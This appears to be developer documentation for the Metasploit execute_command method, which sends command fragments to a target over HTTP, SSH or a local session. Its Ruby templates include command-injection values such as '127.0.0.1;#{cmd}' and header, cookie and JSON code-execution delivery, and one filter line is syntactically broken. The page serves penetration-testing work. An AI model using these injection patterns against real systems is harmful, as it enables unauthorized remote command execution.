Skip to content

execute_command(cmd, opts = {}) delivers one command string to the target’s execution path. CmdStager requires an override of this method. Using the same shape for a one-off command injection also makes the code easier to read.

def execute_command(cmd, _opts = {})
# Send cmd through HTTP, SSH, TCP, or another transport
end
  • CmdStager passes its command fragments to this method in sequence.
  • exploit can also call execute_command(payload.encoded) directly.
  • Handle escaping and encoding entirely here.
def execute_command(cmd, _opts = {})
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'ping'),
'vars_get' => { 'ip' => "127.0.0.1;#{cmd}" }
)
end
def execute_command(cmd, _opts = {})
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/run'),
'vars_post' => { 'cmd' => cmd }
)
end
def execute_command(cmd, _opts = {})
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'run_code'),
'ctype' => 'application/json',
'data' => { 'code' => cmd }.to_json
)
end

CmdStager calls this method multiple times. Handle registration and login separately in authenticate, leaving this method responsible only for sending commands. For an implementation example, see “Self-registration → Login → JSON API RCE” in Exploit; for response checks, see Responses and Debugging.

def execute_command(cmd, _opts = {})
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'headers' => { 'X-Cmd' => cmd },
'cookie' => "x=#{Rex::Text.uri_encode(cmd)}"
)
end
def execute_command(cmd, _opts = {})
ssh_socket.exec!(cmd)
end
def execute_command(cmd, _opts = {})
cmd_exec(cmd)
end
def exploit
# Short command payload
execute_command(payload.encoded)
# Or a dropper
# execute_cmdstager(linemax: 1500)
end

When there are bad characters:

def filter_bad_chars(cmd)
cmd.gsub(/[;&|]/ '') # Example; adapt to the target's filter
end
def execute_command(cmd, _opts = {})
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'ping'),
'vars_get' => { 'ip' => "1.1.1.1 && #{filter_bad_chars(cmd)}" }
)
end

Related: CmdStager